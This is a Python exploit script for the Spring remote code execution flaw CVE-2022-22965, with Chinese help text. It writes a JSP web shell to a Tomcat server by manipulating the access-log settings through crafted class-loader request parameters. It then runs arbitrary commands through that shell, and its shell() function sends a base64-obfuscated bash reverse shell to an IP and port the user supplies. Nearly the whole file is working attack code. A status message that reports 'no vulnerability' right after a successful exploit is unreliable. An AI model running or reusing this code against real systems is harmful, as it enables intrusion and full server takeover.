CVE-2022-22965

# CVE-2022-22965：Spring远程代码执行
import requests
import argparse
import time
import re
import base64
import urllib.parse

header = {
    "Accept-Encoding": "gzip, deflate",
    "Accept": "*/*",
    "Accept-Language": "en",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
    "Connection": "close",
    "suffix": "%>//",
    "c1": "Runtime",
    "c2": "<%",
    "DNT": "1"

}
header1 = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",

}


def poc(ip, cmd):

    payload = "/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    cmd1 = cmd.encode('utf-8')
    cmd2 = urllib.parse.quote(cmd1)
    payload1 = "/tomcatwar.jsp?pwd=j&cmd=" + cmd2
    payload2 = "/tomcatwar.jsp"
    ceshi = requests.get(url=ip + payload2)
    if ceshi.status_code != 200:
        rizhi = requests.get(url=ip + payload, headers=header)

        if rizhi.status_code ==200:
            time.sleep(10)
            ruslut = requests.get(url=ip + payload1,headers=header1,verify=False)  
            c = ruslut.text
            a = c.split('//') 
            print(a[0]) 
            print('无CVE-2022-22965漏洞')
    else:
        ruslut = requests.get(url=ip + payload1,headers=header1,verify=False)
        c = ruslut.text
        a=c.split('//') 
        print(a[0]) 
def shell(url,ip,prot):

    ul="/tomcatwar.jsp?pwd=j&cmd="
    sh=f'/bin/bash -i >& /dev/tcp/{ip}/{prot} 0>&1'

    data1 = sh.encode('utf-8')
    encoded_data = base64.b64encode(data1)
    encoded_sh = encoded_data.decode('utf-8')
    shel='bash -c {echo,123}|{base64,-d}|{bash,-i}'
    new_text = shel.replace("123", encoded_sh)
    data = new_text.encode('utf-8')
    encoded_shell = urllib.parse.quote(data)
    payload = url+ul+encoded_shell
    print(payload)
    c=requests.get(url=payload,headers=header1,verify=False)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', dest='url', help="输入url")
    parser.add_argument('-c', '--cmd', dest='cmd', default='pwd', help='输入命令(执行带参数的命令将参数双引起来)')
    parser.add_argument('-i', '--ip', dest='ip', help='输入反弹ip')
    parser.add_argument('-p', '--prot', dest='prot', help='输入反弹端口')
    parser.add_argument('-V', '--version', action='version', version='%(prog)s 1.0')
    args = parser.parse_args()
    if args.url and args.ip and args.prot:
        shell(args.url,args.ip,args.prot)
    elif args.url:
        poc(args.url, args.cmd)
    else:
        print("-h 帮助信息 ")


if __name__ == '__main__':
    main()